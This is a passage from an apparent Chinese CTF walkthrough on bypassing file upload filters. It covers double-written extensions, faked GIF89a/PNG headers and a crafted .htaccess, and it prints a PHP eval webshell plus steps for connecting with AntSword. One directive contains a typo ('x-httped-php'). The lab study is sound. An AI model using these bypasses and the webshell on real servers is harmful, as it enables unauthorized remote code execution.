五、双写后缀
上传一句话木马文件(文件名称2.php),发现上传成功,但是显示相对路径的时候发现了不对劲:文件名称只剩2.没有php了。F12打开源码发现:
把php等后缀改成了空字符""。所以显示不出来。
改的后缀有:"php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini"
该题是双写绕过,既然后缀消失,把后缀双写(在Burp中抓包改后缀即可):pphphp(示例)
不要傻到写成phpphp或者在文件名前加php,结果是都给改了没用,只有示例可以,因为示例把php字符改成空,剩下的就是php而没有循环检测,所以相对路径里就有php后缀达到绕过的效果;
最后用蚁剑连接就可~~~~
六、文件头检查
上传一句话木马文件(文件名称2.php),发现t弹出警告:
我尝试了jpg的文件上传,发现弹出文件错误:
将抓包下的文件加上GIF89A的字段就可以上传:
或者上传png文件也可上传成功:
1.只需要在上述文件中加入一句话木马<?php @eval($_POST['a']);?>
2.也可以用copy命令合并一句话木马文件和上述其中一个
二者选一个即可连接成功获得相对路径
然后将文件名后缀换成php就可以在蚁剑连接成功获得flag;
注:上述的黄色的两个字段:GIF89A和PNG都是文件头,本题考的就是这个。
文件头还有以下:
利用文件头标志判断文件类型 - maxiongying - 博客园 (cnblogs.com)
本题还有另外的方法:
文件上传中的文件头检查_芋圆奶绿,要半t的博客-CSDN博客_文件上传文件头检测
七、.htaccess
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
上传一句话木马试试发现弹出文件类型不匹配,F12显示出:
本题可重写htaccess文件:
1.新建txt文件在文件里写上:
<FilesMatch "2">
SetHandler application/x-httped-php
</FilesMatch>
将有2的文件当php文件看待
或者
AddType application/x-httpd-php .jpg
将.jpg后缀的文件当作php文件看待
2.把txt后缀改为.htaccess并且没文件名
3.上传.htaccess文件
4.上传木马图片(图片应满足.htaccess的要求)再用蚁剑连接即可